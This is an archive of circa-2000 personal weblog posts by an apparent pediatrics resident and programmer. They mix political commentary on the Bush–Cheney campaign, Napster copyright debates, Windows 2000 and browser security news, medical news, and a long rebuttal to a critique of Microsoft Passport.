“A true man of purpose does not speak constantly of having a purpose — much less a series of purposes. “Purpose,” like “dignity” or “confidence,” is a word invoked compulsively by those who lack it. They know they’re supposed to have it, but they don’t quite know what it is. They don’t understand that mouthing the word is not the same as having the thing to which it refers. Nor do they realize that the more promiscuously they assert it, the less it means.”

Next, Paul Chaplin:

When I started writing, this is where I was headed: “I don’t believe W has ever had a serious political thought in his life. The practical result of his Jesus-renovated heart is that it gave him a renewed determination to pursue life exactly as prescribed by his background — namely, to more effectively and proudly and smirkingly use all the prestige with which he was born to procure as much money as possible as effortlessly as possible. For W, becoming president would mean that his life is not a wasted one. Rather, W is close to matching Dad as the Most Successful Yale Man ever.”

Cintra Wilson has a hilarious recap (made up, I think?) of the Brad Pitt/Jennifer Aniston wedding ceremony. “I was one of the first in on the orgy; Salma Hayek and I spilled hot wine all over each other and allowed it to be licked off by several Dalmatian dogs.”

I hope that Dave’s statements about Jakob Nielsen’s lack of permalinks isn’t an insult, but instead is a mild poke to get Jakob to add the feature to his site; after all, it took a similar poke by this site before Dave added the feature to Manila and Scripting News.

I went down to J&R Music World yesterday to pick up a rave:MP 2200, and ended up walking out with a Nomad II. Why? I like the interface a lot more, I like the fact that you can manage your playlists completely within WinAmp, and I like that the company’s big enough that I can feel somewhat secure that I’ll get support a few years from now.

A little while ago, I noted the release of ShareZilla, a tool written to facilitate advertising and spam on the Gnutella network. Now, News.com has an article on the resulting flap that it’s caused among those who have come to use Gnutella. My favorite quote comes from Rob Smith, one of the authors of ShareZilla: “People are upset that they have to look at an ad because it gets in the way of stealing music. It’s a little laughable.” Similar sentiments are expressed in this Slashdot posting; of course, Slashdotters have rated it as a troll, as they do anything that doesn’t fall into line behind their information-must-be-free beliefs.

Wow! One of the biggest pains in the ass about Windows NT has been that you can’t create MS-DOS boot disks with it… or so I thought. It turns out, though, that you can; this should make my life a little easier!

Ivy Meeropol has a good article in Feed Magazine on the current status of RU-486 (mifepristone) approval and manufacture in the U.S.. Meanwhile, methotrexate (along with misprostol) is a safe alternative, and the kicker is that it’s perfectly legal in the U.S. and is already used at times to terminate hydatiform mole pregnancies.

I’m wondering if there’s anyone out there that really wants to know about Kathie Lee Gifford’s first lay. (The Onion also covered Kathie Lee recently, with a history of her 15 years on Live!.)

What a great photo.

Damn UrbanFetch — despite having the option unchecked which would allow them to send me ads via email, they sent one out today. I called, and they said it won’t happen again…

In my quest for a nice MP3 player, I’m now looking at the Sensory Science rave:MP 2200, which looks pretty cool. (I’ve given up on looking for a good one that uses CompactFlash, since it doesn’t seem that one exists.)

Law.com has two great articles this week on the intersections of law and medicine.

The first is about a labor and delivery nurse whose religion prevents her from assisting in the termination of a pregnancy, and a court’s refusal to allow her to proceed in a lawsuit against UMDNJ for failure to accomodate her religious beliefs. The court’s position: that people in her position can’t make unilateral demands for special treatment, but instead themselves need to be accomodating in a solution to their problem. My feeling: if you hold beliefs such as these, then you have no right to make demands about what your job entails. Instead, you need to find yourself a job that doesn’t conflict with your beliefs.

The second article details a study that demonstrated the inability of judges to tell scientifically-valid studies and testimony from junk science. This is pretty scary, and is why things like silicone breast implants have legal verdicts against them despite the lack of any good data linking them to harm; it is also the shield behind which crackpot websites that spread misinformation and potential harm to millions of web surfers do their dirty work.

The Dinkism of the Week:

“I want you to know that farmers are not going to be secondary thoughts to a Bush administration. They will be in the forethought of our thinking.”

Mental note: think about whether or not to disable Frontier’s auto-update feature, since this week’s security alert and fix broke two of my installed Frontier applications. Didn’t take long to fix, but still…

If a browser fell onto the web and nobody were there to use it, would it make a difference?

It seems as if being a lesbian is a bad thing unless you’re Dick Cheney’s daughter. Do you think that he and his wife spend most of their family holidays lecturing Mary about her immorality and heathen nature? I love that Lynne Cheney flatly denied her homosexuality in an interview last week, despite Mary’s overwhelmingly open sexuality. I love hypocrites.

The photographer who took the uber-famous picture of Che Guevara in 1960 is suing Smirnoff vodka, who used the picture in ads without asking him or paying him royalties. Of course, if he wrote and performed a song rather than took a photo, his work would be swapped on Napster a million times a minute, with bunches of otherwise-intellectual folks trying to justify the violation of his copyright.

Does it seem to you like $250,000 isn’t close to enough of a fine for Verizon to have to pay? After all, they sent over 10,000 postcards to legislators lobbying them, and made them look as if they came from customers who never consented to the use of their name. Sleazy, sleazy, sleazy.

If you previously followed my link to the PalmPilot Growth Charts application (which lets you enter age, weight, height, and head circumference and computes percentiles based on the CDC’s year 2000 stats), you will want to download the latest version, which fixes a few bugs and improves the UI a slight bit.

David Cone finally won a friggin’ game, stopping his eight-game losing streak. Jose Canseco, new pickup for the Yanks, didn’t hurt either with his home run and three RBIs.

Happiness is having a slow day in the newborn nursery, and thus ending up feeding a 14-hour old girl her afternoon formula.

Of course anti-Semites are going to worm their way out of the woodwork now that Joseph Lieberman has been chosen as the Democratic VP candidate, but I don’t know if it helps anything that the media keeps referring to him only as “that Jew who’s running for office.” I wish we were past crap like that in this country.

Lieberman is the source for one of the funniest quotes I’ve ever read, too. When asked about the Bush campaign’s suggestion that the VP choice has more in common with Dubya than he does with Gore, Lieberman replied:

“With all due respect, I think that’s like saying that the veterinarian and the taxidermist are in the same business because either way you get your dog back.”

In a pretty huge victory for musicians, today all sides agreed that sound recordings are not “works for hire” under copyright law, and thus, artists recapture copyrights to their works after 35 years. The Copyright Act of 1976 gave musical artists the ability to take copyright of their music back from recording studios after 35 years; under an amendment quietly slipped into a budget bill last year (this is one of the big issues raised by Courtney Love in her rant against the recording industry), all sound recordings would be deemed works for hire, which would have stripped artists of the 35-year reclaimation right. Today’s agreement will nullify that amendment.

Unixheads will want to read Let’s Make Unix Not Suck, a pretty damn interesting article by Miguel de Icaza. He actually defends some of the decisions that companies like Microsoft have made with certain aspects of code design (e.g., highly-reusable components), and proposes changes to the base mentality of Unix programming.

And in a similar vein, Joel Spolsky rocks again with a great article on his 12 rules for better code. Having moved offices recently, I can personally attest to the need-for-quiet-workspace rule; my old office was not conducive to personal reflection upon programming errors.

Followup on the huge gaping Netscape wound mentioned a few days ago: BugTraq now has two pages (1, 2) which go into pretty good detail about the bugs in Netscape’s Java implementation. Why two pages? Because Brown Orifice (the name of the exploit) actually takes advantage of two separate bugs to do its dirty work.

Thank God for the UN; in all honesty, my life just felt unfulfilling with ritarudner.com controlled by hooligans.

One of the biggest arguements the creators of Napster have for keeping it aorund is that there is not money involved, unless you count money from advertisements on their website, but i dont think the even do that.

Who would be benefitting from Napsters use, the Music Industry, but lets not get into that…Napster people dont make money, how? no ads, free to use, free to trade. Im sure if they began charging, or started charging from the beginning, they would be drastically fewer people using it and switching to one of the many other means of getting mp3 over the net.

Classic movie that I haven’t seen: Raging Bull. Remedy: Film Forum, 1:30 PM today, 20th anniversary showing. UPDATE: the movie was awesome, but I don’t know which was cooler, sitting in the movie theater a seat away from Spike Lee, or watching someone shush Spike Lee as the movie was about to roll.

In a bit of word trickery rivaling anything Clinton has mustered, Dubya got caught in a major lie about military readiness this week. In claiming that two divisions of the military aren’t “ready for duty,” Dubya failed to understand exactly what that term means, and why the divisions fit into their specific readiness categories. (The C-4 readiness category, to which both the 1st Infantry Division and the 10th Mountain Division downgraded themselves temporarily, indicates that they would not be able to report to two major theatres of war, in separate parts of the world, at the same time. The reason for both divisions downgrading themselves is that they were already stationed in Bosnia and Kosovo, on military missions.) The Army News Service explained the exact meaning of all this way back in November — one would think that Dubya should have been paying attention.

For all those who rant and rave about Internet Explorer and its various security issues, you may want to level your guns at Netscape Navigator right about now… but not after turning off Java in Netscape, since Brown Orifice is a huge gaping wound.

There’s an interesting patch, IP Personality, available for the 2.4.X line of Linux kernels. It allows your Linux box to masquerade as another type of machine at the network level; this fools network probe programs that try to identify machine types (like nmap) into thinking that your Linux box is something else. Why would you do this? Knowing what operating system a box runs helps hackers begin to plan an attack on that box; if you can legitimatly fool them, then you’re one step further from being hacked.

I hadn’t realized that the genius site TakeBackVermont.com was a Jessamyn product. I love her idea of just tacking a “.COM” onto the end of all of the offensive lawn signs, which will bring people to her website and to the more level-headed side of the issue.

I missed a WSJ article last week about Napster’s two-faced approach to intellectual property — the company’s officers don’t mind encouraging the sharing of other’s copyrighted works, but come down with a strong fist on anyone who tries to share in the company’s own labors. Meanwhile, Rafe Colburn doesn’t like the fact that Napster is trying to make money on the backs of other’s creative works.

There’s a Napster-related MSNBC article today that annoys me, because it both spreads misinformation about the law and still uses a pretty untenable rationalization to try to justify theft of music.

First, the woman claims that she’s been making audio tapes of her favorite music for friends, claiming “thanks to the Audio Home Recording Act, that’s not illegal.” Actually, it is illegal; the AHRA only covers personal home use, and mostly covers serial digital recording devices and copies. In perusing the law, I haven’t been able to find a case where distributing copies, even to one’s friends, is legal. (For more on the AHRA, read the law or an OK summary of what it covers.)

(The worst part of this is that the woman is a journalist, and could have done some research about the AHRA before writing her little offhand comment about how it allows her to distribute music.)

Second, it seems that her position is that it’s OK to steal music if it’s not available at her record store (i.e., concert bootlegs). Yet the person who made that recording agreed to a ban on recording when he or she entered the concert; this is the same as agreeing to a non-disclosure agreement before a computer company will let you beta test their software. And just as I’m not allowed to distribute that software (e.g., updates to Pike or Radio Userland — see the licenses for each — or the Windows Me betas that I get every month), I’m also not allowed to distribute bootleg music. And if I receive said things, then I too have violated someone’s copyright.

Someone asked me a few days ago why it is that I so adamant about all of this. My response is that it’s because I, too, create things on which I hold a copyright in full or part (software, scientific papers, photographs). If I want other people to respect my copyrights, then I should damn well respect everyone else’s.

What is interesting to me is that there are some pretty high-profile people out there — columnists, software authors, news reporters — that are supporting Napster, yet most would probably be the first in line to file suit if someone started distributing their copyrighted works. Of course, that’s just an assumption, and I could be wrong about that. Maybe someone out there should test the theory.

There’s a Napster-related MSNBC article today that annoys me, because it both spreads misinformation about the law and still uses a pretty untenable rationalization to try to justify theft of music. I’ve thrown my feelings about this into the discussion group, so those of you who are Napstered out can avoid them.

The other night, I went out with a bunch of old friends in NYC, and the recent New York Magazine article about the incomes of New Yorkers, and how everyone’s stretched to their limits, kept coming up in conversation. I tell you, though, I have a very, very hard time feeling bad for anyone making seven figures, no matter where they live.

From Karl Martino comes a DNC-created site, I Know What You Did In Texas, all about Dubya’s sketchy legacy in the South. I haven’t had time to pore through it yet…

Verizon workers are striking; being that it’s the worst service company in the history of Earth, I wonder if anyone will notice. I have a feeling that even replacing the workers with trained chinchillas would result in more customer satisfaction. I can see the news stories now:

“Jack Smith, who ordered DSL 1,423 days ago but has yet to receive the service, was shocked yesterday when two squirrels and a hedgehog showed up at his door and claimed to be there to install the DSL line. Yet today, he’s surfing the web incredibly fast, and has nothing bad to say about the new frontline at Verizon.”

What a fantastic story — a family was flying back from the Bahamas in a small airplane, and after the pilot died at the controls, the father took over, sent out a call for help, and successfully landed the plane. When the life of your family is at stake, you can do anything…

I went to see Sonny Rollins play at the Lincoln Center Out of Doors free concert series tonight; it was terrific. Rollins is a legend of jazz, and it’s clear why — he’s a virtuoso on the sax, and his music has an uplifting beat that keeps everyone tapping their feet (except for the annoying woman four or five down from me, on her cellphone).

MSNBC has a neat article about the elusive quest for proof that prions are the cause of Creutzfeldt-Jakob disease (a.k.a. mad cow disease). For those less-scientific out there, the big problem with the theory is that it’s been a well-accepted notion for centuries that only organisms with genes — viruses, bacteria, etc. — can spread disease; prions are just proteins. It’s fascinating work trying to prove or disprove the prion theory.

Genius. The only thing it needs is a randomizer. (Credit to MetaFilter for the link…)

Props to Dan for the pretty swanky redesign.

It’s about time — Verio is being sued by Register.com, alleging that the ISP harvested information out of the WHOIS database and used it for marketing, cold-calls, and solicitations. Every time I get a call that’s clearly based on the information I was required to give to register domains, I wish that I had perfected that button that I press that vaporizes the person at the other end of the phone.

It appears that AOL has decided to remove the spyware features from SmartDownload.

Steve Ross throws out the conjecture that nobody’s proven that sharing copyrighted music is illegal, so thus the media’s biased against Napster by repeatedly referring to the predominant use of it as “piracy.” I’d love to respond to this, and do so on his site, but he’s been so kind as to disable posting by members, thus leaving his word as manna, uncontestable, so I’m doing so here. My response: my message from three days ago. Why does Steve believe that intellectual property belongs to him, and to all of society? Can I take his site, copy its contents exactly, and reproduce them here? Does he claim rights to the code that I’ve written? Artists create their music, and they get to determine what to do with it. If they determine to sign a contract that then gives recording companies the right to determine the future of the music, then that’s their choice; it’s also the law.

Over $90 million of the $137 million raised by Dubya so far comes from only 739 people. While I don’t know the equivalent stats for the Dems, this seems astounding. We live in a country with well over a quarter of a billion people, and less than 0.0003% of those people (you’re reading that right) have contributed 66% of the money going to try to elect the Republican candidate to the Presidency. Makes you wonder how much of a democracy this is…

Oh, and nevermind that Dick Cheney’s company, and Cheney personally, have contributed significant money to the candidates who are cosponsoring legislation limiting workers’ abilities to sue for asbestos-related health problems. I really believe that Dubya’s best quality was his lack of any real national political record, and that he is shooting himself in the foot by running with someone with an atrocious record in many different areas.

Louisiana is being taken to court over a vanity license plate template that contains “Choose Life” across the top. What’s worse, the money people spend to buy the plates is banned by state law from going to any organization that offers counseling or referrals to abortion clinics.

For those of you who didn’t already know, Jennifer Ringley, of JenniCam fame, recently stole the fiancee of one of her best friends, and ended up having sex with him on the JenniCam numerous times. For a while, outrage over the treachery was confined to weblogs and fan forums; now, however, the national media is on board, which means that Jenni gets a renewal on her 15 minutes of fame.

Lest you be cavalier while fishing, be very careful of the swordfish at the end of your line…

Microsoft has started a Knowledge Base article about the known issues with Windows 2000 Service Pack 1. In addition, it turns out that MS has listened to system admins and put together a way for you to build an installer that contains both Win2K and Service Pack 1 together; instructions are in the deployment guide.

Brigham Young did decide to kick Julie Stoffer out of school. Julie’s the woman who appeared on the current season of MTV’s Real World, and apparently, BYU believes that living with guys in the New Orleans house violates their honor code. I like Julie’s response — “I am happy to no longer be affiliated with BYU.”

Strangely, I just became addicted to the stupid little video games that Snapple has on their website. I truly am a freak sometimes.

A few days ago, Jim Roepcke started a thread here, asking questions about how you guarantee the honesty of the people who are taking music from you via Napster; it’s turned into an interesting conversation, at least in a quasi-rationalizing-mindset kind of way.

Another small victory for Charles Darwin, John Scopes, and people with brains…

I like the idea furthered by one of the people interviewed for this article on cell phone rage: if someone’s talking on their phone in a place where it’s clearly annoying, whip out a notebook and visibly take notes on the conversation. (Of course, I also feel that people get all bent out of shape about many cellphone conversations when they wouldn’t even notice the same conversation going on between the same two people if they were both present and standing next to the complainer.)

Interesting, in an academic sort of way: the 22nd Amendment would permit a Gore-Clinton election ticket. (Of course, I think that laws against suicide would prevent it, but…)

Writ has a sociologic look at Survivor, harkening back to the Milgram Experiment, Machiavelli, alliances, and politics. It’s actually the first interesting read I’ve found on the show, and it made me realize that it’s the first time someone’s pegged exactly why the show’s so interesting — this shit is deeply embedded in a lot of people.

I have a blind date tonight; I’m being set up with a woman by my attending doctor up at the newborn nursery. Ack.

Dick Cheney, the man who wants us to elect him to the Vice Presidency on a ticket of integrity and straight-talk, Sunday dismissed questions about his voting record as “trivia.” What “trivia” was it the reporters were asking about? Cheney’s vote in 1985 against a resolution urging the release of Nelson Mandela from prison. He also consistently voted against sanctions against the overwhelmingly racist South African government. Colin Powell must have been real proud to be speaking yesterday at the convention in which Cheney will be nominated.

Dahlia Lithwick lashes into Laura Bush, and the rest of the “GOP slumber party,” gently reminding the world that women voters demand more than the lipservice and pirouetting that has taken place at the convention thus far. (Have I mentioned how much I like Dahlia’s writing? Oh, yeah… many times.)

Sports Illustrated takes a well-deserved beating for its cover of Anna Kournikova a month back. The week she was on the cover, the NBA Finals were going strong, Pedro Martinez and Roger Clemens pitched near-perfect games against each other, and Kournikova got swept out of the second round of the French Open. Bah.

I installed Windows 2000 Service Pack 1 on all my computers over the past two days, with no problems. At this point, I would recommend that others start moving towards it, at least on non-essential computers that at least resemble the production machines in your environment (the better to test it with your particular application and networking needs).

Thank you, o you of the three llamas.

The unfathomable occurred — I got more sleep while on call than I usually get when I’m home. Now I don’t know what to do with my day…

After yesterday’s pointer to the Web Standards Project’s open letter to Netscape comes today’s Suck piece. The former asks Netscape to withdraw the 4.X browser from the market; the latter declares the upcoming Mozilla to already be irrelevant and a waste of everyone’s time. My favorite line: “At the very least, the Mozilla Project has given the world a pretty good picture of what caffeine poisoning looks like.”

I forgot that Dennis Miller makes his debut on Monday Night Football tonight; I’ve got to make it home to watch. Unfortunately, tonight is the overwhelmingly boring Hall of Fame game; fortunately, it should provide a few opportunities for Miller to show his humor.

Lance weighs in with a pretty well-though-out and well-written piece about the whole Napster mess. I’m in his boat — I don’t use Napster because I feel that, just as I want other people to honor my copyrights, I will honor others’ copyrights.

Dave Winer keeps saying that he pays for the music he gets on Napster (here and here are the two examples I found, although here he estimates he’s said it 80 times). I wonder how he’s doing that. Oh, I think I get it, after reading today’s SN — all the music he grabs on Napster is music he’s bought at some point, on some media.

OK, in the wake of the Stinky Meat Project comes some British guy who decided to try to contract athlete’s foot (dubbed “StinkyFeet”). He wrapped his feet in bags for sixteen days, jogged, went to the beach, and ended up with feet for which even a 90-year-old diabetic wouldn’t trade. Gross.

In a pretty big breakthrough, NIH researchers have found the specific bit of the Ebola virus that causes massive hemorrhage. This could lead to either a vaccine or blocking antibodies, both of which would be welcome in Africa (the virus’s hunting ground) and worldwide.

There’s not much sadder than a postmortem before a company is dead. From the sounds of things, though, perhaps the company should be.

Working great for me, it did force a restart.
Phil

How did I miss the Web Standards Project’s open letter pleading with Netscape to withdraw Navigator 4 from the market? It’s a well-written letter, and expresses many of the same feelings that I’ve vented here. At the hospital, I’m stuck using Netscape, and it pisses me off how terrible it renders and how much it crashes.

This day appears to be a very Windows 2000/Internet Explorer-centric kind of day around here. (Mainly, I’m on call, but don’t have a big patient load, so I’m catching up on my technical reading for the month.)

It appears that Windows 2000 Service Pack 1 is out, and ready for download. There’s no notice on Microsoft’s website about it, but Win2K News (a newsletter I get) sent along three download URLs: one, two, and three. I’m on call today, so I haven’t installed it yet; if anyone does, feel free to pass along your experiences, either via email or in the discussion group.

There’s a Microsoft Knowledge Base article that points to the page on which Win2K Service Pack 1 will be released tomorrow, for those of you who want to wait for the official announcement. In the mean time, you can read about the changes in SP1 on the following three pages: 1, 2, and 3. What’s interesting to me is that I helped find and solve this bug, and when they sent me the hotfix privately (four months ago), it was “being checked into SP1.” It doesn’t appear in the change log, though, so I don’t know if it’s actually part of SP1 or not. I guess I’ll find out…

I never knew that there was a neat Recovery Console option available in Windows 2000; it looks to be another way to recover your computer if you run into problems. (Note that if you do have it installed and you upgrade to SP1, you have to upgrade the Console separately.)

I knew I wasn’t crazy when IE 5.5 kept closing windows on me as I was downloading files. Their proposed workaround is silly, though — how am I supposed to know if the window that’s created with “Open In A New Window” will have a download URL in it?

Hey, I’ve got a great idea — let’s wade into the Niagra River just upstream from the famed Niagra Falls. Darwin was right; this dink is just lucky that he found a rock to cling to.

Congratulations, Mrs. the James (aka Zannah). Now, if you don’t stop blogging on your honeymoon, I’m gonna have to come out there and pounce you…

OK, this is superbly strange. I was just surfing around MetaBaby (one of my favorite sites), and came across this page. Why is it strange? Because Phil Jache is my friend, he’s sitting right here next to me, and he didn’t do this. He made a page months ago with this URL, but with none of the current text and graphics on it, and it was long enough ago that it should have expired by now. Weeeeeeiiiiirrrrrrd.

Am I the only one who recognized the overwhelming lack of a need for another Jesus Day, given that the world’s already got Christmas and Easter? Dubya is a fargin’ nutburger. (Update: apparently, I’m not the only one who noted this small fact.)

I’m sitting here, migrating four machines from home-built hardware to Compaq DeskPro EN boxes, reinstalling operating systems, moving stuff around, and having to think a lot. My brain hurts.

I was playing around with Gnutella a while back, after reading an article about it, and noticed that every single search returned at least one hit which was named the exact same thing as my search string. When I grabbed it, it turned out to be an HTML page which was a porn ad. Someone has made doing this much, much easier with a program called ShareZilla — it intercepts all Gnutella searches and inserts an ad for you in the returns. Things like this will probably hurt Gnutella a great deal; the source to the app is open, and the network is distributed, not centralized, so they probably won’t ever be able to stop people from doing things like this.

Very, very cool — it turns out that ciprofloxacin, one of the most used antibiotics in the world, is effective against anthrax. The first drug usually given to women with urinary tract infections is cipro; who knew that they could all also rest easier, knowing that they were safe from bioterrorism for a little while?

The response around the web to Joel Spolsky’s Microsoft Passport article (both in the email to Joel that he displays on his site and the little quips on other weblogs) is pretty interesting to me. People are automatically saying “This is evil! We must stop this!”, and I can’t help thinking that it’s purely because it’s Microsoft’s doing. Why can’t I help thinking this? Because nobody’s complaining about the various Yahoo sites, or the Go Network sites, doing the exact same thing via nearly identical mechanisms. (Since I only made oblique reference to it yesterday, I’ll point to it again — I wrote down my thoughts in response to Joel’s article.)

In fact, Yahoo even has a mechanism, web beacons, that allows them to use cookies from non-Yahoo sites within their pages and yahoo.com cookies from non-Yahoo sites. Has anyone written a scathing article about their attempts to take over the world?

A few days ago, Joel Spolsky wrote a piece, entitled Does Issuing Passports Make Microsoft a Country?, that expressed a deep-set fear in Microsoft’s Passport. I’ll leave you to read the piece, rather than of summarizing it here; instead, I’ll just present the problems that I have with his arguments.

Simplified Cookie Explanation

I’ll start with a minor problem, just to get it out of the way. Joel presents an explanation of cookies that is extremely simplified, and tries to make the technology sound like it’s impossible for a website to store more than a unique identifier on your computer. This isn’t true, though — most websites store simply an identifier in their cookie because it’s more efficient, not because it’s all they can do. Cookies merely store variable names and the data for those variables, and that data can be anything the website wants it to be (so long as it’s under 4096 bytes in size times 20 cookies per domain). Most websites choose to use a single variable, which contains a unique identifier, because they can then house kilobytes upon megabytes of data on you in a database on their end, with no limitation on size and no security problem while the data’s flinging around the net with every single HTTP transaction you make against the server.

(Two good cookie references are Cookie Central and Netscape’s cookie implemetation page. And note that I bring this problem up only because Joel’s definition of cookies plays into his big-picture argument against Microsoft, namely that they are thwarting this mild-mannered, innocuous technology through devilish back-end tricks.)

Toysmart.com False Alarm

Another minor problem I have is Joel’s use of the recent Toysmart.com hoo-hah as an example of privacy rights gone wronged. While fears and objections were well-aimed early on, when the failed dot-com floated the idea of selling their customer list, it’s been very well-publicized that the FTC and a majority of state Attorney Generals nipped that attempt in the bud. I’m not sure what this example gains for Joel’s argument.

Browser-Based vs. Backend-Based

My big problem with the article, though, is that Joel’s implication that Microsoft is misusing browser technology completely ignores the fact that they could just as easily implement their data-sharing entirely on the back-end, without anyone being the wiser. Every major website page these days is generated by scripts, back-end procedures, and databases; Microsoft could use network connectivity between their various websites and intelligent scripting to provide the same functionality, and do so without breaking a sweat.

Picture a small slice of the current MS-owned website pie — Expedia and Investor. Now imagine that both of these websites are implemented such that they set their own individual cookies, not some master Passport cookie. Follow along with my (purely hypothetical) data exchange.

First, you go and log into Expedia. After you type in your username and password and click on the Log In button, the Expedia webserver contacts the master Passport database to validate your credentials. They check out, so the database sends back to the webserver your unique Passport identifier (say, “JASON12345”), and the webserver then sends that back to your browser in the form of a cookie, a cookie that’s specific to expedia.com, not to passport.com.

Next, you check out flights to Las Vegas… and Expedia sends that information to the master Passport database. You look at prices on cruises to the Carribean… and again, Expedia sends that information to the master Passport database. Everything that you do gets tracked, just like almost every e-commerce website worth its chops does today, but in addition, this information is all sent along to the master Passport database by the backend webserver, with no browser hijinks necessary.

Once done with Expedia, you trek on over to Investor. You type in your login information, and after clicking the “Log On” button, the Investor website contacts the master Passport database to validate your credentials. Once validated, the database sends the webserver your unique identifier (again, “JASON12345”), and the webserver sends that back to your browser in the form of a cookie, this one specific to investor.com.

This time, though, the Investor webserver also queries the master Passport database about your habits when you were on Expedia. It sees that you were interested in Las Vegas flights, so it assumes (perhaps incorrectly) that you aren’t averse to risk; when it returns the Investor home page to you, there are a few links to high-risk investment opportunities that wouldn’t be there for other customers. It sees that you’re interested in cruises, so it throws up a banner ad for a specialty cruise which will feature barons of finance and seminars on investing. And all of this happens in the microseconds after you click on the “Log On” button, all without the need for browser redirects or cookie tricks.

Why Implement Things the Way Microsoft Did?

I’m partly surprised that Microsoft didn’t implement Passport this way, but I think that I understand what my arguments would be if I were part of the Passport engineering group. I’d imagine that, given Microsoft’s ability to do what they want no matter how the browser’s implemented, consumers would rather not have to log into and out of every single subsite of a major website group. There’s something powerful about being able to log into Expedia, HotMail, Investor, CarPoint, and all the other MSN sites with a single click; it’s like being able to shop at all two hundred stores in the mall while only having to park the car once. (Interestingly, Joel even points out how painful it is to keep track of all the website logins and passwords that we all have these days, with which I don’t think anyone would argue.)

Also, though, Microsoft isn’t doing anything that Yahoo or the Go Network aren’t also doing. Yahoo has chosen to keep the yahoo.com domain name on all of their various subsites, so they don’t even have to resort to browser redirects to get cookies across sites. The Go Network uses redirects very early on to be able to share their cookies; going to http://www.espn.com/ redirects you to http://espn.go.com/ instantly, just as http://www.abc.com/ redirects you to http://abc.go.com/. And of course, their shopping and finance sites have go.com domain names, so again, cookie sharing is a breeze.

What’s My Point?

I guess that I don’t know what this whole controversy is about. Joel seems upset that Microsoft redirects you twice, but I wonder if he’d be upset if going to http://www.expedia.com/ redirected you to http://expedia.msn.com/, and Microsoft implemented cookie sharing that way. That’s how all the other major e-commerce players are doing it, and I’ve never seen an article about that, nor would I expect to.

The bottom line is that it’s still a web surfer’s job to understand what it is he or she is doing. If you’re scared about data sharing between websites, don’t frequent those websites. It’s not like Microsoft is hiding the fact that Investor and Expedia are part of the MSN empire, just like the Go Network isn’t trying to cloak their involvement in ESPN.com. But don’t invent nefarious plots and schemes to justify your fears; there are enough real bad neighbors out there on the Internet, and they’re much more worth our time and venom.

Joel Spolsky weighed in two days ago with a vicious attack on Microsoft’s Passport technology, but while I tend to agree with Joel’s writing, this one sparked a flame in me. His fear seems to be of a much broader phenomenon, that of customer data warehousing, and I can’t see how it specifically applies to Microsoft.

Ummmm…. I want this job. WOW, would that satisfy a big life goal of mine.

I guess Napster’s down by now… (Wait, CNN is now breaking in with news that the injunction has been stayed.)

Darryl Strawberry, troubled outfielder for the New York Yankees, is having a very, very bad week.

Excellent quote out of this month’s talk magazine issue, in an article by Christopher Caldwell on the loss of pleasure in America:

Still, our happiness is protected in the Declaration [of Independence]. What is there to protect our pleasures? Nothing — which is as it should be. It’s the essence of pleasure to be un-protected. Happiness is to pleasure as phone sex is to sex, as chat rooms are to chat, as virtual reality is to reality. Happiness is about control; pleasure is about discovery. Happiness is about allocation of resources; pleasure is about forgetting, if only for a moment, that such allocation is necessary. Happiness is long-term; pleasure is now.

From Heather comes a particularly pathetic story of office politics, Aeron chairs, and the unfairness of it all. The sad thing is that it’s trumpeted as specifically a dotcom office politics thing, when anyone who’s worked at any big company can tell you that this crap happens everywhere. Window offices, cubes oriented this way versus that way, guest chairs, distance from the copy machine… people can be superbly petulant when they want to be.

It looks like the West Nile virus is invading Boston now. Today’s Grand Rounds at the hospital was on West Nile, by the city epidemiologist who received the original phone call last year reporting the first suspicious encephalitis case in Queens, the case which first alerted authorities that there was a strange outbreak in New York City. She made it sound like last summer was a pretty wild ride for the city public health groups, the CDC, and even the FBI (who obviously had to look into any possible deliberate release angle).

Wow. A mother has spent the last seven years in jail, accused of sodomizing her seven year-old son. At the time, she claimed that the family pit bull had done it; nobody believed her, even after the dog’s semen was found inside the boy. Now, the boy is offering to testify on his mother’s behalf, saying that her story is true. Weird.

If you plan to see the movie Coyote Ugly (I have no clue why people want to see it), there’s a tribute page to the real Coyote Ugly bar, by a patron who seems to be way too excited about his NY bar experience.

Am I the only one that’s amazed by the pictures and video that have come out of the Concorde crash on Tuesday? First, there was the picture by the Hungarian tourists, then came the video by a Spanish woman who was driving by Charles de Gaulle Airport, and now there’s an amazing picture by a Japanese tourist of the engines on fire as the Concorde is lifting off from the ground. The media couldn’t have covered this any more intensely.

The Dems have snapped up bush-cheney.net pretty quickly, and have turned it into a site describing the ultra-conservative record that Dick Cheney’s left behind. Personally, I’m aghast at his voting record on issues dealing with women and children, but I probably need to know more than what this site is telling me.

In an interesting bit of history-unveiling, it appears that some FBI members actively attempted to stop racial integration in major league baseball, considering it a Communist plot to destabilize an American institution.

Oooooh, I want a doughnut from Doughnut Plant. If you live in NYC, and have had one, are they that good? How do they compare to Krispy Kreme, the creme de la creme of my doughnut world?

Update on the wedding registry for Newt Gingrich and Callista Bisek — people still haven’t ponied up for most of what they’ve asked for. I feel for them.

NBA players are taking a 10% pay for the next three seasons, due to a clause in their recently-negotiated collective bargaining agreement that levies the penalty if salaries make up more than 55% of all basketball-related income in the league. In the upcoming season, players’ salaries are projected to make up 64% of all income; roughly translated, that means that for each $60 ticket you buy to your home team’s games, you’re paying $38.40 directly into the players’ pockets.

I had no clue that Salon was doing Survivor episode summaries. They’re pretty great, actually.

Wired has a what’s-up-with-it-now article about the IBot 3000, Dean Kamen’s revolutionary new wheelchair that can go up and down stairs, balance in terrain that even us bipedal people can’t handle, elevate its user to nearly 8 feet of height, and is run totally by computers. Pretty amazing, and definitely utilizing technology to improve quality of life for people.

Napster is in a boatload of trouble, and like in the Microsoft case, it appears that internal documents are doing the company in. (A while back, I pointed to a story about the damning things found in Napster’s internal correspondence; now, the story still exists, but the server’s cranky about formatting it nicely.)

I am back, and much, much more well-rested. This weekend was my last weekend on the inpatient floor, and I could not have switched to a more different rotation — the newborn nursery. And while I love working in inpatient medicine, newborns are a good respite; I love little, itty bitty babies, especially when they’re healthy (as they are in the newborn nursery). I examined about twelve cute little ones today, and now I’m floating on air.

On tap for tonight: the New York Philharmonic has their first of two open-air, free performances in Central Park. Wine, sandwiches, bread, and music make for a nice break from all the hustling around. (ACK: they found West Nile Virus in Central Park today, so they cancelled the concert, and are spraying the park. It’s rescheduled for tomorrow night, though, and as luck has it, I’m not on call.)

The latest Bushism of the Week:

“This case has had full analyzation and has been looked at a lot. I understand the emotionality of death penalty cases.”

Pretty funny — from Cam, it looks like CBS goofed and made it possible to find out who wins Survivor. (WARNING: don’t follow that link if you care about being surprised at the end of the show!)

I don’t get it, I really don’t get it — .TV domain names aren’t that valuable! I find it extremely hard to believe that this company will be around in three years.

